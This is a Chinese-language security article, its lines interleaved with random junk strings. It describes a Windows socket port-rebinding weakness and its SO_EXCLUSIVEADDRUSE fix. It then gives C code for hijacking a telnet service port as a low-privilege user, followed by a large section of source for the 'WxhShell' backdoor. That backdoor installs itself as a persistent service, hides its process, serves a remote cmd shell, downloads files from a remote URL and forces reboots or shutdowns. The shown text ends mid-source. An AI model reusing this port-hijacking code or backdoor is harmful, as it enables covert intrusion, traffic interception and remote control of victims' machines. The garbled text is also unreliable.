在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q%kj[ZOY$] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
o|^?IQ7bpf 3VRZM@i saddr.sin_family = AF_INET;
Eagmafu B-ri}PA saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZaUcP6[h ?m9UhLeaS= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
N} x/&e kG;eOp16R 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
j#nO6\&o 8T.5Mhx0jS 这意味着什么?意味着可以进行如下的攻击:
#SihedWi R!V5-0% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
U ygw*+ [>M*_1F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@(,{_c] '^oGDlkr H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
),y!<\oQ rm)SfT< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!8" $d_=h T?]kF- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#-gGsj;F =4M.QA@lI! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n2y/zP>TC {7Gx9( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l`M5'r]l d[>N6?JA/ #include
+zVcOS*- #include
2NArE@ #include
:9x084ESR) #include
`3sy>GU? DWORD WINAPI ClientThread(LPVOID lpParam);
[nN\{"~O int main()
\Sq"3_m4T {
r_V2 J{B WORD wVersionRequested;
EYJ i6# DWORD ret;
Ot2zhR ) WSADATA wsaData;
mOz&6T<| BOOL val;
p'%: M SOCKADDR_IN saddr;
/:Z~"Q*r SOCKADDR_IN scaddr;
_8NEwwhc int err;
=UB*xm%! SOCKET s;
GEe 0@q#YA SOCKET sc;
O'!r]0Q int caddsize;
_r<zSH% HANDLE mt;
_,Rsl$Tk' DWORD tid;
rKy-u wVersionRequested = MAKEWORD( 2, 2 );
V$-~%7@>;9 err = WSAStartup( wVersionRequested, &wsaData );
1|l)gfcP if ( err != 0 ) {
I4o=6ts printf("error!WSAStartup failed!\n");
,>QMyI
hv return -1;
N)vk0IM! }
}o!#_N0T saddr.sin_family = AF_INET;
_@BRpLs:4 {#w A!>. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6m-:F.k1( rt 3f7 s* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kY'<u saddr.sin_port = htons(23);
|Uy e>%*}4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:Er^"9'A2 {
:!+}XT7)/ printf("error!socket failed!\n");
)O2Nlk~l& return -1;
>2| [EZ }
?x5wS$^q< val = TRUE;
XoKO2<3 //SO_REUSEADDR选项就是可以实现端口重绑定的
)DGz`-> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
, N@Yk. {
x!"SD3r=4> printf("error!setsockopt failed!\n");
HvqF@/xh return -1;
E VN-<=i^ }
uXG`6|? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
tL={ y* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cD'HQ3+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
DD/>{kff 5q(]1|Sei if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z#OhYm+y {
!^)wPmk ret=GetLastError();
`?zg3GD_ printf("error!bind failed!\n");
Sc4obcw% return -1;
sFQ4O- SM }
tT@w%Sz57N listen(s,2);
MG7 ?N # while(1)
"wnpiB} {
}pl]9 caddsize = sizeof(scaddr);
L25kh}Q#7 //接受连接请求
%Ycx C0S[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kf%&d}2to if(sc!=INVALID_SOCKET)
"*++55 {
T3USNc51 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^wx%CdFm'P if(mt==NULL)
v`#j {
,:#,}w_HyO printf("Thread Creat Failed!\n");
qj~flw1: break;
c;:">NR }
\)OZUch }
ID67?:%r CloseHandle(mt);
/9x{^ }
g$*/XSr( closesocket(s);
0>,.c2), WSACleanup();
]{f^;y8 return 0;
~L-0~ }
R)0N0gH DWORD WINAPI ClientThread(LPVOID lpParam)
\~JNQ&_o {
)E'Fke SOCKET ss = (SOCKET)lpParam;
$&cz$jyY SOCKET sc;
:J^qj AV unsigned char buf[4096];
#O2wyG)oU SOCKADDR_IN saddr;
vU=9ydAj? long num;
"$XYIuT DWORD val;
;B&^yj&; DWORD ret;
:P3{Nxa //如果是隐藏端口应用的话,可以在此处加一些判断
+c^_^Z$_4o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
s|Z:}W?{ saddr.sin_family = AF_INET;
`W@T'T" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)PR3s1S^ saddr.sin_port = htons(23);
9n1ZVP.ag if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0cHfxy3 {
O^5UB~ printf("error!socket failed!\n");
KAd_zkUA return -1;
+7,8w }
'.?^uM val = 100;
b2N6L2~V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6X/wdk {
yL0f1nS ret = GetLastError();
f|OI` return -1;
Vclr)}5 }
KQ&Y2l1*>> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\ht ?Gn {
otO
j^xU ret = GetLastError();
qAoAUDm return -1;
'T\dkSJv;V }
)2xE z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vxZg &SRK {
> 2#%$lX6 printf("error!socket connect failed!\n");
'"y}#h__T closesocket(sc);
Yc^%zxub closesocket(ss);
?hnx/z+uT return -1;
!O|ql6^; }
3gAR4 while(1)
xq}-m!nX {
\[yr=X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j&5G\6: //如果是嗅探内容的话,可以再此处进行内容分析和记录
>c<pDNt? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+R!zs num = recv(ss,buf,4096,0);
~g6"'Cya?k if(num>0)
e}c&LDgU send(sc,buf,num,0);
EIr@g else if(num==0)
_a](V6 break;
@Mm/C?#*O num = recv(sc,buf,4096,0);
jpRBER_X if(num>0)
%SAw;ZtQ: send(ss,buf,num,0);
`OqM8U
@ else if(num==0)
;j{7!GeKa break;
lwc5S`" }
we3tx{j closesocket(ss);
gH[,Xx?BN! closesocket(sc);
Ojq]HM6f return 0 ;
zJ+3g! }
mzWP8Hlw l
_+6=u OsQkA2= ==========================================================
Z|G/^DK! Us,)]W.S 下边附上一个代码,,WXhSHELL
=!BobC- [b afHaB/t{R ==========================================================
[#Y' dFQ ciudRK63M #include "stdafx.h"
uRE*%d> )P?IqSEA% #include <stdio.h>
?7
\\e ;j} #include <string.h>
!^e =P%S #include <windows.h>
'cV?i&; #include <winsock2.h>
_T5)n=| #include <winsvc.h>
B/G-Yh$E #include <urlmon.h>
/.Fj.6U5 U3E&n1AA #pragma comment (lib, "Ws2_32.lib")
pj0fM{E #pragma comment (lib, "urlmon.lib")
S,''>`w $IVwA #define MAX_USER 100 // 最大客户端连接数
%d1draL #define BUF_SOCK 200 // sock buffer
|t))u`~ #define KEY_BUFF 255 // 输入 buffer
*RWm47 /)EY2Y' #define REBOOT 0 // 重启
EF#QH
_X #define SHUTDOWN 1 // 关机
:P$#MC [84F09HU #define DEF_PORT 5000 // 监听端口
=>|C~@C? PFM'&;V #define REG_LEN 16 // 注册表键长度
\}5p0.= #define SVC_LEN 80 // NT服务名长度
+pf5\#l? }^-<k0A4? // 从dll定义API
-)jax typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&H||&Z[pk typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M6rc!K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Qd
&"BEs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9MY7a=5E~ \K
iwUz // wxhshell配置信息
"Pz}@= struct WSCFG {
8z2Rry
w int ws_port; // 监听端口
;@3FF char ws_passstr[REG_LEN]; // 口令
1[;;sSp int ws_autoins; // 安装标记, 1=yes 0=no
`.%JjsD< char ws_regname[REG_LEN]; // 注册表键名
eq[Et
+ char ws_svcname[REG_LEN]; // 服务名
'zZcn" +! char ws_svcdisp[SVC_LEN]; // 服务显示名
mee$"Y char ws_svcdesc[SVC_LEN]; // 服务描述信息
{Qv>q$Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
yxt[=
C int ws_downexe; // 下载执行标记, 1=yes 0=no
.8WXC
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3;[DJ5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
MZ>6o5K| laKuOx} };
FQz?3w&ia .|qK+Hnc // default Wxhshell configuration
H(
jXI struct WSCFG wscfg={DEF_PORT,
/u%h8!"R "xuhuanlingzhe",
WLa!.v> 1,
O,2~"~kF "Wxhshell",
cF)/^5Z "Wxhshell",
{6 6sB{P "WxhShell Service",
D]a:@x`+Bz "Wrsky Windows CmdShell Service",
LQ11ba "Please Input Your Password: ",
[#Lc]$ 1,
)tHaB, "
http://www.wrsky.com/wxhshell.exe",
7hW+T7u? "Wxhshell.exe"
u]-_<YZ'B };
@`opDu! TGXa,A{ // 消息定义模块
g]c[O*NTL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
u's`*T@. char *msg_ws_prompt="\n\r? for help\n\r#>";
Wz4&7KYY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=gfI!w char *msg_ws_ext="\n\rExit.";
YJg,B\z} char *msg_ws_end="\n\rQuit.";
VErv;GyV char *msg_ws_boot="\n\rReboot...";
w=]Ks'C] char *msg_ws_poff="\n\rShutdown...";
T9)nQ[ char *msg_ws_down="\n\rSave to ";
O%g$9-?F0 4(}J.-B char *msg_ws_err="\n\rErr!";
J:uW`R char *msg_ws_ok="\n\rOK!";
_=ua6}Xp LMi:%i%\ char ExeFile[MAX_PATH];
~>O) int nUser = 0;
iovfo2!hD HANDLE handles[MAX_USER];
D|Iur W1f int OsIsNt;
)"zvwgaW HEL!GC># SERVICE_STATUS serviceStatus;
gBT2)2] SERVICE_STATUS_HANDLE hServiceStatusHandle;
ZyOv.,y ?D,=37 // 函数声明
[7(-T?_ int Install(void);
{3})=>u:S int Uninstall(void);
oH0X<' int DownloadFile(char *sURL, SOCKET wsh);
*
tCS int Boot(int flag);
3lV^B[$ void HideProc(void);
y4h=Lki@ int GetOsVer(void);
(feTk72XX int Wxhshell(SOCKET wsl);
[."[pY void TalkWithClient(void *cs);
x^Yl*iq int CmdShell(SOCKET sock);
~~/xRs int StartFromService(void);
i)#:qAtP* int StartWxhshell(LPSTR lpCmdLine);
DAo~8H ^[%%r3"$C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ZmOfEg|h\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
$$:ZX ["\;kJ. // 数据结构和表定义
u%'\UmE w SERVICE_TABLE_ENTRY DispatchTable[] =
ikE<=:pe {
7~#:>OjW {wscfg.ws_svcname, NTServiceMain},
q+B&orp {NULL, NULL}
,=?{("+ };
cA6lge<{~ V]*b4nX7 // 自我安装
8M@BG8 int Install(void)
GUsl PnG {
3\T2?w9u( char svExeFile[MAX_PATH];
:eo HKEY key;
`jS T strcpy(svExeFile,ExeFile);
9&RFO$WH 6_N(;6kx( // 如果是win9x系统,修改注册表设为自启动
1-RIN}CSd if(!OsIsNt) {
Kscd}f)yx? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EGl^!.' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"UwH\T4I RegCloseKey(key);
czlFr|O; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,lCgQ0}< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xkOpa,=FI RegCloseKey(key);
y4+;z2'> return 0;
RpLE
02U }
|yo\R{&6 }
V.wqZ {G }
64:fs?H else {
mo~*C p }[zt#v // 如果是NT以上系统,安装为系统服务
=_YG#yS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0ZQ' _g|% if (schSCManager!=0)
ccd8O{G.M {
1:Si,d,wh SC_HANDLE schService = CreateService
_G1gtu] (
bI|2@HV2 schSCManager,
PqM1aoyX wscfg.ws_svcname,
)}9rwZ wscfg.ws_svcdisp,
xC
C:BO`pw SERVICE_ALL_ACCESS,
u4Em%:Xj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{mB0rKVm SERVICE_AUTO_START,
b,8{ X< SERVICE_ERROR_NORMAL,
qC'{;ko svExeFile,
_HhbIU NULL,
"vtCTl~t NULL,
NH_<q"gT NULL,
!nAX$i~ NULL,
?`J[[", NULL
%v2R.?F8 );
H(Eh c if (schService!=0)
bTQNb!& {
9)VF 1LD CloseServiceHandle(schService);
-GLMmZJt CloseServiceHandle(schSCManager);
pKi& [ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Rb3V^;i strcat(svExeFile,wscfg.ws_svcname);
-.{g}R% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
NY?;erX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RoAlf+&Qb RegCloseKey(key);
O#Wh
TDF" return 0;
i*CZV|t US }
?.Pg\ur }
]r_;dY a CloseServiceHandle(schSCManager);
aM4k *|H? }
9(":,M(/o }
{&Q9"C <id}<H return 1;
1{P'7IEj }
tnLAJ+-M GRY2?'` // 自我卸载
$/nY5[ int Uninstall(void)
|^@dFOz {
ul*Qt} HKEY key;
"O(9 m.CZ }pJwj if(!OsIsNt) {
P (S>=,Y& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YtO|D RegDeleteValue(key,wscfg.ws_regname);
H*9~yT'Q RegCloseKey(key);
@Vu(XG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~H!S,"n^,P RegDeleteValue(key,wscfg.ws_regname);
"+unS)M;Y RegCloseKey(key);
;t+ub8 return 0;
jbR0%X2 }
E\C9|1) }
jMpD+Mb }
0>zbCubPH else {
VsA'de!V4[ WVLHfkN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
1IVuSp`{FU if (schSCManager!=0)
tY
<Z'xA? {
VcoOeAKL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*_ ?dVhxf if (schService!=0)
0:b2(^]bg {
Gm\/Y:U if(DeleteService(schService)!=0) {
Gdg"gi!4 CloseServiceHandle(schService);
Ge<nxl<Bd CloseServiceHandle(schSCManager);
@]ao"ui@/ return 0;
: "1XPr }
+o9":dl CloseServiceHandle(schService);
: >>@rF , }
-+O
9<3ly CloseServiceHandle(schSCManager);
`:axzCrCfR }
\m1~jMz*>k }
}3?n~s\)6f +a*tO@HG return 1;
\G-KplKS }
&~W:xg(jN zk( U8C+ // 从指定url下载文件
2,*M|+W~ int DownloadFile(char *sURL, SOCKET wsh)
:^(>YAyHj^ {
Qf@ HRESULT hr;
'}$Dgp6e char seps[]= "/";
l<);s char *token;
A,4fEmWM char *file;
){UcS/GI= char myURL[MAX_PATH];
&-;5*
lg)0 char myFILE[MAX_PATH];
NC38fiH_N 7.`fJf? strcpy(myURL,sURL);
db6mfxi token=strtok(myURL,seps);
1/"WD?a while(token!=NULL)
rdJR 2 {
s-v file=token;
]9@F~) token=strtok(NULL,seps);
z^<"x|: }
=W'Ae,& r-<F5<H+K@ GetCurrentDirectory(MAX_PATH,myFILE);
IC7M$ strcat(myFILE, "\\");
[Vma^B$7Vj strcat(myFILE, file);
,{mCf^ send(wsh,myFILE,strlen(myFILE),0);
?Ec7" hK send(wsh,"...",3,0);
f`Fi#EKT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K>{T_) { if(hr==S_OK)
4#lo$# return 0;
' MxrQ;|S else
)+6MK(<" return 1;
/Sh#_\x 6AhM=C }
E@b(1@
)KAEt.
// 系统电源模块
GN2Sn`; int Boot(int flag)
lg&t8FHa; {
&c,kQo+pA HANDLE hToken;
m|G'K[8 TOKEN_PRIVILEGES tkp;
T~='5iy| q7E~+p(>( if(OsIsNt) {
=y!$/(H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
R~6$oeWAw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c??mL4$'N tkp.PrivilegeCount = 1;
ruy}/7uf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\*<d{gZ~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&oX>*6L if(flag==REBOOT) {
>m$ 1+30X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)h)]SF} return 0;
(}2~<
}
% S os else {
.*)2SNH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a8UwhjFO return 0;
7K98#;a)5 }
zld#qG6 }
c.e2 M/ else {
H7DJ~z~J if(flag==REBOOT) {
mVpMh#zw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
PGoh1Uu return 0;
J
G{3EWXR }
Kh_Lp$'0uM else {
k1D@fiz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3(,?S$> return 0;
rQ qW_t% }
w {3<{ }
)z28=%g 1waTTT?"Ho return 1;
L}pt)w*V1j }
W@I|Q - Zo~ // win9x进程隐藏模块
@P?~KW6<| void HideProc(void)
io8'g3< {
] &Rx@&e* u@cYw:-C HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#*UN >X if ( hKernel != NULL )
$[a8$VY^Cm {
|3KLk ?2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^0\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y<%@s}zc FreeLibrary(hKernel);
UWo]s. }
pz.JWCU1 XLrwxj0 return;
}*S `qW;B }
yvO{:B8% |M,iM] // 获取操作系统版本
2$ze=
/ l int GetOsVer(void)
v: OR {
E;R n`oxk OSVERSIONINFO winfo;
'$ t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I!Z_[M GetVersionEx(&winfo);
lrIjJ
V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
waj0"u^# return 1;
_ =VqrK7T else
vkEiOFU!u return 0;
.Z
`av n }
`ux{;4q $m-2HhqZ // 客户端句柄模块
(Hb:?( int Wxhshell(SOCKET wsl)
4i(JZN? {
UKT%13CO4U SOCKET wsh;
aGtf z) struct sockaddr_in client;
oF1,QQ^dg DWORD myID;
D!Pq4'd( S p;G'*g while(nUser<MAX_USER)
Vg>dI&O {
ic#`N0s? int nSize=sizeof(client);
VKG&Y_7N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ijK"^4i if(wsh==INVALID_SOCKET) return 1;
<(fRn`)PT R?"q]af~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SVh 7zh if(handles[nUser]==0)
\kMefU closesocket(wsh);
!W}9no else
"AsKlKz{B nUser++;
#Oc]
@ }
j2StXq3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
keX,d# 2j}\3Pi return 0;
yy i#Mo
, }
_M`--.{\O[ F`XP@Xx // 关闭 socket
9CWF{" void CloseIt(SOCKET wsh)
v,-HU&/*B {
RL@VSHXc closesocket(wsh);
i%#+\F.& nUser--;
[ 0KlC1= ExitThread(0);
xy/`ZS2WPq }
{E9+WFz5 mpU$+ // 客户端请求句柄
,*&:2o_r void TalkWithClient(void *cs)
_u5#v0Y {
$0>60<J >_-s8t=| SOCKET wsh=(SOCKET)cs;
zuJ@E=7 char pwd[SVC_LEN];
KWowN; char cmd[KEY_BUFF];
e478U$ char chr[1];
>>t@}F) int i,j;
Eg#K.5hJ wnEyl[ac while (nUser < MAX_USER) {
8pIP YQ9'0F[l if(wscfg.ws_passstr) {
i@)i$i4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=hC,@R>; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
93("oBd[s( //ZeroMemory(pwd,KEY_BUFF);
[65`$x- i=0;
~962i#&4 while(i<SVC_LEN) {
ao1(]64X" 8*#R]9 // 设置超时
s%nUaWp~ fd_set FdRead;
%et }A93 struct timeval TimeOut;
.oYl-.E>& FD_ZERO(&FdRead);
:8=i kwQ FD_SET(wsh,&FdRead);
&_dt>. TimeOut.tv_sec=8;
{JZZZY!n2 TimeOut.tv_usec=0;
Tc> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c'>/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
f_jo+z{-ik >z{d0{\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
XHK<AO^ pwd
=chr[0]; }Jy8.<Gd^
if(chr[0]==0xd || chr[0]==0xa) { AS'R?aX|C
pwd=0; dMf:h"7
break; 8<S~Z:JK
} lYVz3p
i++; dx5#\"KX=,
} A&.WH?p
{5U{8b]k
// 如果是非法用户,关闭 socket o{* e'4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QdH\LL^8R4
} p{amC ;cI$
=9'RM>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #>b3"[ |
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wSzv|\
G
591>rh)
while(1) { +7D|4
0=@?ob7
ZeroMemory(cmd,KEY_BUFF); bv]`!g:
C
LSa,1{
// 自动支持客户端 telnet标准 A!s`[2 Z
j=0; jSh5!6O
while(j<KEY_BUFF) { ddJQC|xR}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >kj`7GA
cmd[j]=chr[0]; qON|4+~u%
if(chr[0]==0xa || chr[0]==0xd) { T! Y@`Ox
cmd[j]=0; R}
eN@#"D
break; kO.%9wFbz
} =x%dNf$e{W
j++; 2h|MXI\g
} b#uL?f
@|
M|+k3
// 下载文件 @Lpq~ 1eZB
if(strstr(cmd,"http://")) { \\PjKAsh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $UMFNjL
if(DownloadFile(cmd,wsh)) Ygm`ZA y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJF5n#
else 8p^bD}lN7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y>|B;Kj0(
} l4 D+Y
else { ?{P"O!I{
@TLS<~
switch(cmd[0]) { QwNly4
!O+)sbd<
// 帮助 "cE7
5
case '?': { dsb `xw
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^=BTz9QM
break; 63q^ $I
} &oP+$;Y
// 安装 3EV;LH L
case 'i': { 'DY`jVwa
if(Install()) ~Sg5:T3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*;Si7-
else 9oyE$S h]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); prC;L*~8
break; 0[RL>;D:
} Ye"o6_U"
// 卸载 Eza`Z`
^el
case 'r': { oI0M%/aM
if(Uninstall()) [>+4^&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s`M9
else aXQnZ+2e^R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d?s<2RkPT
break; ~ZmN44?R
} oz,np@f)J
// 显示 wxhshell 所在路径 EY^1Y3D w0
case 'p': { opY@RJ]
char svExeFile[MAX_PATH]; gFeO}otm
strcpy(svExeFile,"\n\r"); kW2sY^Rg
strcat(svExeFile,ExeFile); N+m)/x
=:
send(wsh,svExeFile,strlen(svExeFile),0); AYt%`Y.!
break; 3C?f(J}
} xHUsFms
// 重启 `n#H5Oyn
case 'b': { Pj#<K%Bz
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gy9$wH@8
if(Boot(REBOOT)) t9,\Hdo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\`_3=
else { |8&,b`Gfo
closesocket(wsh); :Ux?,
ExitThread(0); X>1,!I9
} sT !~J4
break; (X $=Q6
} %zA;+s$l
// 关机 q
0$,*[PH
case 'd': { sNj)ZWgd>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3*]eigi)
if(Boot(SHUTDOWN)) *S]Ci\{_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q}1 R5@7
else { LIS)(X<]?
closesocket(wsh); 9 %8"e>~
ExitThread(0); *EOdEFsR/
} ?^H
`M|S
break; _g+JA3sIJ
} Vu)4dD!
// 获取shell vL|SY_:4
case 's': { OP~HdocB
CmdShell(wsh); )T/0S$@
closesocket(wsh); DNOueU
ExitThread(0); f1`gdQ)H
break; !Z`j2
e}
} aUzBV\Yd}
// 退出 {v=T [D
case 'x': { J5di[nu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gi(H]|=a
CloseIt(wsh); NgADKrDU
break; $LKIT0
} }O/U;4Z
// 离开 $Wjww-mx
case 'q': { W,4QzcQR
send(wsh,msg_ws_end,strlen(msg_ws_end),0); qmnZAk
closesocket(wsh); !2 LCLN\
WSACleanup(); NMW#AZVd
exit(1); kjW+QT?T&
break; ZO!I.
} Qt iDTr
} &%8'8,.
} R%Qf7Q
:H7D~ n
// 提示信息 "JVkVp[5D+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]=.\-K
} ?i)f^O
} l,R/Gl
0)%YNaskj
return; P<PJ)>
} $$D}I*^Dt
+awW3^1Ed
// shell模块句柄
*-+&[P]m
int CmdShell(SOCKET sock) R?,an2
{ n1qQ+(xC
STARTUPINFO si; 1q~+E\x
ZeroMemory(&si,sizeof(si)); 0]>u)%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +!k&Yje
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O?NeSx1
PROCESS_INFORMATION ProcessInfo; S\''e`Eb"5
char cmdline[]="cmd"; 8MK>)P o)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l\BVS)
return 0; p`mS[bxv!
} ~3UQ|j
AK&S5F>D+B
// 自身启动模式 &J55P]7w
int StartFromService(void) R?v>Q` Qi
{ Tu@8}C
typedef struct $.C=H[QC
{ :@kGAI
DWORD ExitStatus; {_b%/eR1
DWORD PebBaseAddress; mYxuA0/k
DWORD AffinityMask; il}%7b-
DWORD BasePriority; -mC0+}h
